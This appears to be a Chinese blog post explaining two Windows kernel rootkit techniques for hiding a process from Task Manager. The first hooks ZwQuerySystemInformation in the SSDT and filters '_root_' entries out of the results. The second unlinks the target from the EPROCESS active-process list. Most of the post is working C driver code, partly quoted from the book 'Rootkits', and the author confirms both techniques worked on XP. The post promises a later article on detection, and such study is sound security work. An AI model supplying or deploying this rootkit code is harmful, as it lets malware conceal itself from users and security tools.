Ring0隐藏进程的方法

时间:2022-01-24 21:34:26

第一种在系统调用服务表HOOK ZwQuerySystemInformation函数地址

使用InterlockedExchange函数将ZwQuerySystemInformation在内核导出表KeServiceDescriptorTable最终调用位置的函数地址替换为NewZwQuerySystemInformation,然后NewZwQuerySystemInformation先调用之前的函数,最后NewZwQuerySystemInformation从原函数返回的信息中过滤掉目标进程。

见核心代码

NTSTATUS NewZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{

NTSTATUS ntStatus;

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength );

if( NT_SUCCESS(ntStatus))

{

// Asking for a file and directory listing

if(SystemInformationClass == 5)

{

// This is a query for the process list.

// Look for process names that start with

// '_root_' and filter them out.

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

struct _SYSTEM_PROCESSES *prev = NULL;

while(curr)

{

DbgPrint("Current item is %x\n", curr);

if (curr->ProcessName.Buffer != NULL)

{

if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))

{

m_UserTime.QuadPart += curr->UserTime.QuadPart;

m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

if(prev) // Middle or Last entry

{

if(curr->NextEntryDelta)

prev->NextEntryDelta += curr->NextEntryDelta;

else   // we are last, so make prev the end

prev->NextEntryDelta = 0;

}

else

{

if(curr->NextEntryDelta)

{

// we are first in the list, so move it forward

(char *)SystemInformation += curr->NextEntryDelta;

}

else // we are the only process!

SystemInformation = NULL;

}

}

}

else // This is the entry for the Idle process

{

// Add the kernel and user times of _root_*

// processes to the Idle process.

curr->UserTime.QuadPart += m_UserTime.QuadPart;

curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

// Reset the timers for next time we filter

m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

}

prev = curr;

if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

else curr = NULL;

}

}

else if (SystemInformationClass == 8) // Query for SystemProcessorTimes

{

struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

}

}

return ntStatus;

}

代码摘自Rootkits-Windows内核的安全防护一书

效果如图

Ring0隐藏进程的方法

我把一个MFC程序命名为_root_.exe,运行后加载驱动,可以显示出对话框,任务管理器进程列表却找不到这个进程。

第二种是直接在内核的EPROCESS链表中摘去目标进程。

void EnumERProcess()

{

ULONG eproc ;

ULONG first_eproc;

int currentPid = 0;

int startPid = 0;

int cout = 0;

//      ULONG pflinkErp,pblinkErp;

PLIST_ENTRY pListActiveProcs;

PLIST_ENTRY pflinkErp,pblinkErp;

//_asm int 3;

//遍历ActiveList

first_eproc = eproc = (ULONG)PsGetCurrentProcess();

pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

while(eproc!=0)

{

PULONG pid = (PULONG)(eproc +0x84);

PCHAR image_name = (PCHAR)(eproc +0x174);

DbgPrint("PID=%d ProcessName=%s\n",*pid,image_name);

if(strcmp(image_name,"root.exe") == 0)

{

DbgPrint("发现进程root\n");

pflinkErp = pListActiveProcs->Flink;

pblinkErp  = pListActiveProcs->Blink;

//后一个节点的前进节点设置为下一个

pblinkErp->Flink = pflinkErp;

//设置前面一个节点的后面节点

pflinkErp->Blink = pblinkErp;

pListActiveProcs->Flink = (PLIST_ENTRY)(eproc+0x88);

pListActiveProcs->Blink = (PLIST_ENTRY)(eproc+0x88);

return;

}

eproc = (ULONG)pListActiveProcs->Flink - 0x88;

pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

if(eproc == first_eproc)

break;

}

}

(XP环境测试代码,直接硬编码了)

效果和第一种一样

下一篇将告诉大家如何检测隐藏进程